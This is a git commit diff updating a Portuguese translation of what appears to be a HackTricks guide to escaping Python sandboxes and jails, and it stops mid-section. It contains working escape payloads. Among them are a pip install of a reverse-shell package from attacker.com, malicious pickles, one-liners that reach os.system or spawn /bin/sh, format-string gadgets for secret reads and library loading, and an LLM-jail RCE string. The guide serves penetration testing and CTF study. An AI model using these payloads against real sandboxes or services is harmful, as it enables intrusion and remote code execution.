Translated ['', 'src/windows-hardening/active-directory-methodology/acl-

2025-10-10 18:36:50 +00:00 · 2025-08-28 12:39:10 +00:00 · 2025-08-28 12:39:10 +00:00 · e249859007
commit e249859007
parent fd5fb3918b
6 changed files with 399 additions and 403 deletions
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
@ -1,12 +1,12 @@
-# Contornar sandboxes do Python
+# Bypass Python sandboxes

 {{#include ../../../banners/hacktricks-training.md}}

-Estas são algumas técnicas para contornar proteções de sandbox do Python e executar comandos arbitrários.
+Estas são algumas técnicas para contornar proteções de sandbox python e executar comandos arbitrários.

-## Bibliotecas de Execução de Comandos
+## Bibliotecas de execução de comandos

-A primeira coisa que você precisa saber é se você pode executar código diretamente com alguma biblioteca já importada, ou se pode importar qualquer uma destas bibliotecas:
+A primeira coisa que você precisa saber é se você pode executar código diretamente com alguma biblioteca já importada, ou se você consegue importar alguma destas bibliotecas:
 ```python
 os.system("ls")
 os.popen("ls").read()
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
 execfile('/usr/lib/python2.7/os.py')
 system('ls')
 ```
-Lembre-se de que as funções _**open**_ e _**read**_ podem ser úteis para **ler arquivos** dentro do python sandbox e para **escrever algum código** que você poderia **executar** para **bypass** o sandbox.
+Lembre-se de que as funções _**open**_ e _**read**_ podem ser úteis para **ler arquivos** dentro do python sandbox e para **escrever algum código** que você possa **executar** para **bypass** o sandbox.

-> [!CAUTION] > **Python2 input()** função permite executar código python antes do programa travar.
+> [!CAUTION] > **Python2 input()** permite executar código python antes que o programa trave.

-O Python tenta **carregar bibliotecas do diretório atual primeiro** (o comando a seguir irá imprimir de onde o python está carregando os módulos): `python3 -c 'import sys; print(sys.path)'`
+Python tenta **carregar bibliotecas do diretório atual primeiro** (o seguinte comando vai imprimir de onde o python está carregando módulos): `python3 -c 'import sys; print(sys.path)'`

 ![](<../../../images/image (559).png>)

-## Bypass pickle sandbox with the default installed python packages
+## Bypass pickle sandbox com os pacotes python instalados por padrão

 ### Pacotes padrão

 Você pode encontrar uma **lista de pacotes pré-instalados** aqui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
-Observe que a partir de um pickle você pode fazer o python env **import arbitrary libraries** instaladas no sistema.\
-Por exemplo, o seguinte pickle, quando carregado, irá importar a biblioteca pip para usá-la:
+Note que a partir de um pickle você pode fazer com que o ambiente python **importe bibliotecas arbitrárias** instaladas no sistema.\
+Por exemplo, o seguinte pickle, quando carregado, vai importar a biblioteca pip para usá-la:
 ```python
 #Note that here we are importing the pip library so the pickle is created correctly
 #however, the victim doesn't even need to have the library installed to execute it
@ -66,32 +66,32 @@ return (pip.main,(["list"],))

 print(base64.b64encode(pickle.dumps(P(), protocol=0)))
 ```
-Para mais informações sobre como o pickle funciona, confira isto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
+Para mais informações sobre como o pickle funciona, veja isto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)

-### Pacote Pip
+### Pacote pip

 Truque compartilhado por **@isHaacK**

-Se você tem acesso a `pip` ou `pip.main()`, você pode instalar um pacote arbitrário e obter um reverse shell chamando:
+Se você tem acesso a `pip` ou `pip.main()` você pode instalar um pacote arbitrário e obter um reverse shell chamando:
 ```bash
 pip install http://attacker.com/Rerverse.tar.gz
 pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
 ```
-Você pode baixar o pacote para criar o reverse shell aqui. Por favor, note que antes de usá-lo você deve **descompactá-lo, alterar o `setup.py` e colocar seu IP para o reverse shell**:
+Você pode baixar o pacote para criar a reverse shell aqui. Por favor, note que antes de usá-lo você deve **descompactá-lo, alterar o `setup.py`, e colocar seu IP para a reverse shell**:

 {{#file}}
 Reverse.tar (1).gz
 {{#endfile}}

 > [!TIP]
-> Este pacote se chama `Reverse`. No entanto, ele foi especialmente criado de forma que, quando você sair do reverse shell, o restante da instalação falhará, então você **não deixará nenhum pacote python extra instalado no servidor** quando sair.
+> Este pacote se chama `Reverse`. No entanto, ele foi especialmente criado de modo que quando você sair da reverse shell o restante da instalação falhará, então você **não deixará nenhum pacote python extra instalado no servidor** quando sair.

-## Eval-ing python code
+## Avaliando código python com eval

 > [!WARNING]
-> Observe que exec permite strings multilinha e ";", mas eval não (veja walrus operator)
+> Note que `exec` permite strings multilinha e ";", mas `eval` não (verifique walrus operator)

-Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **bypass** da restrição:
+Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **contornar** a restrição:
 ```python
 exec("print('RCE'); __import__('os').system('ls')") #Using ";"
 exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -126,7 +126,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
 # Like:
 df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
 ```
-Veja também um escape de avaliador sandboxed do mundo real em geradores de PDF:
+Veja também um sandboxed evaluator escape do mundo real em geradores de PDF:

 - ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa de rl_safe_eval para alcançar function.__globals__ e os.system a partir de atributos avaliados (por exemplo, cor da fonte) e retorna um valor válido para manter a renderização estável.

@ -143,7 +143,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
 [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
 ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
 ```
-## Contornando proteções por meio de codificações (UTF-7)
+## Contornando proteções através de codificações (UTF-7)

 Em [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 é usado para carregar e executar código python arbitrário dentro de uma aparente sandbox:
 ```python
@ -158,9 +158,9 @@ return x
 ```
 Também é possível contorná-lo usando outras codificações, por exemplo `raw_unicode_escape` e `unicode_escape`.

-## Execução em Python sem calls
+## Execução em python sem chamadas

-Se você estiver dentro de uma python jail que **não permite que você faça calls**, ainda existem algumas maneiras de **executar funções arbitrárias, código** e **comandos**.
+Se você estiver dentro de uma python jail que **não permite que você faça chamadas**, ainda existem algumas maneiras de **executar funções arbitrárias, código** e **comandos**.

 ### RCE com [decorators](https://docs.python.org/3/glossary.html#term-decorator)
 ```python
@ -184,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
 class _:pass
 ```
-### RCE creating objects and overloading
+### RCE criando objetos e sobrecarga

-Se você pode **declarar uma class** e **criar um object** dessa class, você pode **write/overwrite different methods** que podem ser **triggered** **sem** **precisar chamá-las diretamente**.
+Se você puder **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **acionados** **sem** **precisar chamá‑los diretamente**.

-#### RCE with custom classes
+#### RCE com classes personalizadas

-Você pode modificar alguns **class methods** (_sobrescrevendo existing class methods ou criando uma nova class_) para fazê-los **execute arbitrary code** quando **triggered** sem chamá-los diretamente.
+Você pode modificar alguns **métodos de classe** (_sobrescrevendo métodos de classe existentes ou criando uma nova classe_) para fazê‑los **executar código arbitrário** quando **acionados** sem chamá‑los diretamente.
 ```python
 # This class has 3 different ways to trigger RCE without directly calling any function
 class RCE:
@ -242,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
 ```
 #### Criando objetos com [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)

-O ponto principal que metaclasses nos permitem fazer é **criar uma instância de uma classe, sem chamar o construtor** diretamente, criando uma nova classe com a classe alvo como metaclass.
+A principal coisa que os metaclasses nos permitem fazer é **make an instance of a class, without calling the constructor** diretamente, criando uma nova class com a target class como metaclass.
 ```python
 # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
 # This will define the members of the "subclass"
@ -257,9 +257,9 @@ Sub['import os; os.system("sh")']

 ## You can also use the tricks from the previous section to get RCE with this object
 ```
-#### Criando objetos com exceções
+#### Criando objetos com exceptions

-Quando uma **exceção é acionada** um objeto da **Exception** é **criado** sem que você precise chamar o construtor diretamente (um truque de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
+Quando uma **exception é acionada**, um objeto da **Exception** é **criado** sem que você precise chamar o constructor diretamente (um truque de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
 ```python
 class RCE(Exception):
 def __init__(self):
@ -315,18 +315,17 @@ pass
 - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
 - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)

-Se você conseguir acessar o objeto **`__builtins__`** você pode importar bibliotecas (observe que você também poderia usar aqui outras representações de string mostradas na última seção):
+Se você conseguir acessar o objeto **`__builtins__`** você pode importar bibliotecas (observe que você também pode usar aqui outras representações de string mostradas na seção anterior):
 ```python
 __builtins__.__import__("os").system("ls")
 __builtins__.__dict__['__import__']("os").system("ls")
 ```
 ### Sem Builtins

-Quando você não tem `__builtins__` você não vai conseguir importar nada nem mesmo ler ou escrever arquivos pois **todas as funções globais** (como `open`, `import`, `print`...) **não são carregadas**.\
+Quando você não tem `__builtins__` você não vai conseguir importar nada nem sequer ler ou escrever arquivos como **todas as funções globais** (como `open`, `import`, `print`...) **não estão carregadas**.\  
+No entanto, **por padrão o python importa muitos módulos na memória**. Esses módulos podem parecer benignos, mas alguns deles **também importam funcionalidades perigosas** dentro deles que podem ser acessadas para obter até **execução arbitrária de código**.

-No entanto, **por padrão python importa muitos módulos na memória**. Esses módulos podem parecer benignos, mas alguns deles **também importam funcionalidades perigosas** internamente que podem ser acessadas para obter até **arbitrary code execution**.
-
-Nos exemplos a seguir você pode observar como **abusar** de alguns desses módulos "**benignos**" carregados para **acessar** **funcionalidades** **perigosas** dentro deles.
+Nos exemplos a seguir você pode observar como **abusar** de alguns desses módulos “**benignos**” carregados para **acessar** **funcionalidades** **perigosas** dentro deles.

 **Python2**
 ```python
@ -368,7 +367,7 @@ get_flag.__globals__['__builtins__']
 # Get builtins from loaded classes
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
 ```
-[**Below there is a bigger function**](#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **lugares** onde você pode encontrar os **builtins**.
+[**Abaixo há uma função maior**](#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **lugares** onde você pode encontrar os **builtins**.

 #### Python2 and Python3
 ```python
@ -384,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
 # There are lots of other payloads that can be abused to execute commands
 # See them below
 ```
-## Globals e locals
+## Globals and locals

-Verificar as **`globals`** e **`locals`** é uma boa maneira de saber o que você pode acessar.
+Verificar os **`globals`** e **`locals`** é uma boa maneira de saber o que você pode acessar.
 ```python
 >>> globals()
 {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -410,15 +409,15 @@ class_obj.__init__.__globals__
 [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
 [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
 ```
-[**Abaixo há uma função maior**](#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **lugares** onde você pode encontrar os **globals**.
+[**Below there is a bigger function**](#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **lugares** onde você pode encontrar os **globals**.

-## Descobrir Execução Arbitrária
+## Descobrir Arbitrary Execution

-Aqui quero explicar como descobrir facilmente **funcionalidades mais perigosas carregadas** e propor exploits mais confiáveis.
+Aqui quero explicar como descobrir facilmente **mais funcionalidades perigosas carregadas** e propor exploits mais confiáveis.

-#### Acessando subclasses com bypasses
+#### Acessando subclasses with bypasses

-Uma das partes mais sensíveis desta técnica é conseguir **acessar as base subclasses**. Nos exemplos anteriores isso foi feito usando `''.__class__.__base__.__subclasses__()` mas existem **outras maneiras possíveis**:
+Uma das partes mais sensíveis desta técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores isso foi feito usando `''.__class__.__base__.__subclasses__()` mas há **outras maneiras possíveis**:
 ```python
 #You can access the base from mostly anywhere (in regular conditions)
 "".__class__.__base__.__subclasses__()
@ -448,12 +447,12 @@ defined_func.__class__.__base__.__subclasses__()
 ```
 ### Encontrando bibliotecas perigosas carregadas

-Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibliotecas arbitrárias**, você pode procurar por todos os **módulos carregados que tenham importado `sys`**:
+Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibliotecas arbitrárias**, você pode procurar por todos os **módulos carregados que tenham importado sys dentro deles**:
 ```python
 [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
 ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
 ```
-Existem muitos, e **só precisamos de um** para executar comandos:
+Há muitos, e **só precisamos de um** para executar comandos:
 ```python
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
 ```
@ -492,7 +491,7 @@ Podemos fazer a mesma coisa com **outras bibliotecas** que sabemos que podem ser
 #pdb
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
 ```
-Além disso, podemos até pesquisar quais módulos estão carregando bibliotecas maliciosas:
+Além disso, poderíamos até pesquisar quais módulos estão carregando bibliotecas maliciosas:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 for b in bad_libraries_names:
@ -511,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
 pdb:
 """
 ```
-Além disso, se você achar que **outras bibliotecas** podem ser capazes de **invocar funções para executar comandos**, também podemos **filtrar pelos nomes de funções** dentro das possíveis bibliotecas:
+Além disso, se você acha que **outras bibliotecas** podem ser capazes de **invocar funções para executar comandos**, também podemos **filtrar pelos nomes das funções** dentro das bibliotecas possíveis:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -547,7 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
 ## Busca Recursiva de builtins, globals...

 > [!WARNING]
-> Isso é simplesmente **incrível**. Se você está **procurando um objeto como globals, builtins, open ou qualquer outro** use este script para **encontrar recursivamente locais onde esse objeto pode ser encontrado.**
+> Isto é simplesmente **incrível**. Se você está **procurando por um objeto como globals, builtins, open ou qualquer outro** use este script para **encontrar recursivamente lugares onde esse objeto pode estar.**
 ```python
 import os, sys # Import these to find more gadgets

@ -692,11 +691,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
 get_name_for_avatar(st, people_obj = people)
 ```
-Observe como você pode **acessar atributos** de forma normal com um **ponto** como `people_obj.__init__` e **elemento de dict** com **colchetes** sem aspas `__globals__[CONFIG]`
+Observe como você pode **acessar atributos** de forma normal com um **ponto** como `people_obj.__init__` e **elemento de dict** com **parênteses** sem aspas `__globals__[CONFIG]`

-Além disso, note que você pode usar `.__dict__` para enumerar elementos de um objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
+Observe também que você pode usar `.__dict__` para enumerar elementos de um objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`

-Algumas outras características interessantes das strings de formato são a possibilidade de **executar** as **funções** **`str`**, **`repr`** e **`ascii`** no objeto indicado adicionando **`!s`**, **`!r`**, **`!a`** respectivamente:
+Algumas outras características interessantes das strings de formatação são a possibilidade de executar as funções **`str`**, **`repr`** e **`ascii`** no objeto indicado adicionando **`!s`**, **`!r`**, **`!a`** respectivamente:
 ```python
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
 get_name_for_avatar(st, people_obj = people)
@ -715,7 +714,7 @@ return 'HAL 9000'
 **Mais exemplos** sobre **format** **string** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info)

 > [!CAUTION]
-> Consulte também a página a seguir para gadgets que irão r**eer informações sensíveis de objetos internos do Python**:
+> Consulte também a página a seguir para gadgets que irão r**ead sensitive information from Python internal objects**:


 {{#ref}}
@ -740,20 +739,20 @@ str(x) # Out: clueless
 ```
 ### LLM Jails bypass

-From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
+A partir de [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`

-### Do formato para RCE: carregando bibliotecas
+### De format para RCE carregando bibliotecas

-According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
+De acordo com o [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) é possível carregar bibliotecas arbitrárias do disco abusando da format string vulnerability em python.

-As reminder, every time an action is performed in python some function is executed. For example `2*3` will execute **`(2).mul(3)`** or **`{'a':'b'}['a']`** will be **`{'a':'b'}.__getitem__('a')`**.
+Como lembrete, toda vez que uma ação é realizada em python alguma função é executada. Por exemplo `2*3` executará **`(2).mul(3)`** ou **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.

-You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
+Você tem mais exemplos como este na seção [**Python execution without calls**](#python-execution-without-calls).

-A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
-However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.
+Uma python format string vuln não permite executar funções (não permite usar parenthesis), então não é possível obter RCE como `'{0.system("/bin/sh")}'.format(os)`.  
+No entanto, é possível usar `[]`. Portanto, se uma biblioteca comum do python tiver um método **`__getitem__`** ou **`__getattr__`** que execute código arbitrário, é possível abusá-los para obter RCE.

-Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
+Procurando um gadget assim em python, o writeup propõe esta [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Onde ele encontrou este [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
 ```python
 class LibraryLoader(object):
 def __init__(self, dlltype):
@ -775,20 +774,20 @@ return getattr(self, name)
 cdll = LibraryLoader(CDLL)
 pydll = LibraryLoader(PyDLL)
 ```
-Este gadget permite **carregar uma biblioteca a partir do disco**. Portanto, é necessário, de alguma forma, **gravar ou fazer upload da biblioteca a ser carregada**, compilada corretamente para o servidor atacado.
+Este gadget permite **load a library from disk**. Portanto, é necessário de alguma forma **write or upload the library to load** devidamente compilada para o servidor atacado.
 ```python
 '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
 ```
 O desafio na verdade explora outra vulnerabilidade no servidor que permite criar arquivos arbitrários no disco do servidor.

-## Dissecando objetos Python
+## Dissecando Objetos Python

 > [!TIP]
-> Se você quiser **aprender** sobre **python bytecode** em profundidade, leia este post **incrível** sobre o assunto: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
+> Se você quer **aprender** sobre **python bytecode** em profundidade leia este post **incrível** sobre o assunto: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)

 Em alguns CTFs você pode receber o nome de uma **custom function where the flag** e precisa ver os **internals** da **function** para extraí-la.

-Esta é a função a ser inspecionada:
+Esta é a **function** a ser inspecionada:
 ```python
 def get_flag(some_input):
 var1=1
@ -808,7 +807,7 @@ dir(get_flag) #Get info tof the function
 ```
 #### globals

-`__globals__` and `func_globals` (mesmos) obtêm o ambiente global. No exemplo você pode ver alguns módulos importados, algumas variáveis globais e seus conteúdos declarados:
+`__globals__` e `func_globals` (mesmo) obtêm o ambiente global. No exemplo, você pode ver alguns módulos importados, algumas variáveis globais e seus conteúdos declarados:
 ```python
 get_flag.func_globals
 get_flag.__globals__
@ -821,7 +820,7 @@ CustomClassObject.__class__.__init__.__globals__

 ### **Acessando o código da função**

-**`__code__`** e `func_code`: Você pode **acessar** este **atributo** da função para **obter o objeto de código** da função.
+**`__code__`** and `func_code`: Você pode **acessar** este **atributo** da função para **obter o objeto de código** da função.
 ```python
 # In our current example
 get_flag.__code__
@ -835,7 +834,7 @@ compile("print(5)", "", "single")
 dir(get_flag.__code__)
 ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
 ```
-### Obtendo Informações do Código
+### Obtendo informações do código
 ```python
 # Another example
 s = '''
@ -909,7 +908,7 @@ dis.dis(get_flag)
 44 LOAD_CONST               0 (None)
 47 RETURN_VALUE
 ```
-Observe que **se você não conseguir importar `dis` no python sandbox** você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **disassemble**-la localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode adivinhá-las a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` também indica o offset da variável sendo carregada.
+Observe que **if you cannot import `dis` in the python sandbox** você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **disassemble**-la localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode inferi-las a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` também indica o offset da variável que está sendo carregada.
 ```python
 dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
 0 LOAD_CONST          1 (1)
@ -931,9 +930,9 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
 44 LOAD_CONST          0 (0)
 47 RETURN_VALUE
 ```
-## Compiling Python
+## Compilando Python

-Agora, imagine que de alguma forma você pode **dump as informações sobre uma função que você não pode executar**, mas você **precisa** **executá-la**.\
+Agora, vamos imaginar que de alguma forma você pode **extrair as informações sobre uma função que você não pode executar** mas você **precisa** **executá-la**.\
 Como no exemplo a seguir, você **pode acessar o code object** dessa função, mas apenas lendo o disassemble você **não sabe como calcular a flag** (_imagine uma função `calc_flag` mais complexa_)
 ```python
 def get_flag(some_input):
@ -947,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci")
 else:
 return "Nope"
 ```
-### Criando o objeto de código
+### Criando o code object

-Primeiro, precisamos saber **como criar e executar um objeto de código** para que possamos criar um para executar nossa função leaked:
+Antes de tudo, precisamos saber **como criar e executar um code object** para que possamos criar um para executar nossa função leaked:
 ```python
 code_type = type((lambda: None).__code__)
 # Check the following hint if you get an error in calling this
@ -969,7 +968,7 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 ```
 > [!TIP]
-> Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor forma de saber a ordem dos parâmetros na versão do python que você está executando é executar:
+> Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor forma de saber a ordem dos params na versão do python que você está executando é rodar:
 >
 > ```
 > import types
@ -977,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'
 > ```

-### Recriando uma função leaked
+### Recriando uma leaked function

 > [!WARNING]
